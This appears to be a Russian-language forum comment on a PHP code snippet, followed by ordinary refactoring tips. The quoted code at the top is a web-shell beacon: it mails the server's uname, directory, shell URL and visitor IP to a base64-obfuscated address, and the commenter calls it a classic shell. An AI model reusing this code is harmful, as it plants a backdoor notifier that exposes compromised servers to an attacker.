$web = $_SERVER["HTTP_HOST"];
$path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
$contact = base64_decode("cG9ydG92amFja0BnbWFpbC5jb20=");
$body = "\nUname: ".php_uname()."\nPath Dir: ".$cwd = getcwd()."\nMessage:\n"."\nE-Path: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-Domain: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\nShell: http://$web$path\n\nIP: $ip";
mail("$contact","Result Shell in [http://$web]", "$body");
классический шел. как минимум. try {
if(! file_exists($file)) {
throw new Exception('file not exist');
}
} catch (Exception $e) {
echo $e->getMessage();
exit;
}
не имеет смысла, поскольку спокойно сокращается доif(! file_exists($file)) {
exit('file not exist');
}
dirname(__FILE__)
прекрасно заменяется на __DIR__
$balance = json_decode($json, true);
echo $balance['result']['balance'];